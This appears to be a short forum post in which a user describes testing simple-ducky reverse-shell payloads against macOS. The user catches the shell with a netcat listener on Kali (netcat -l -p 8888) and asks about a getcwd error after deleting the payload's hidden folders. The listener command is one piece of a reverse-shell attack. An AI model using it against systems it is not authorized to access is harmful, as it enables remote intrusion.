then i

netcat -l -p 8888

BAMMMM! EVERYTHING WORKS PERFECTLY!!!!

however (comma) afterwards (i went back in and deleted the .OSXhelper folder and .maintScript folder (from the other simple-ducky payload generator, closed terminal... and went to test another payload for osx.

when i typed again on kali terminal

netcat -l -p 8888

i get an error message:

"shell-init: error retrieving current directory: getcwd: cannot access parent directories: no such file or directory.

sh-3.2$"

how do I stop this from happening?
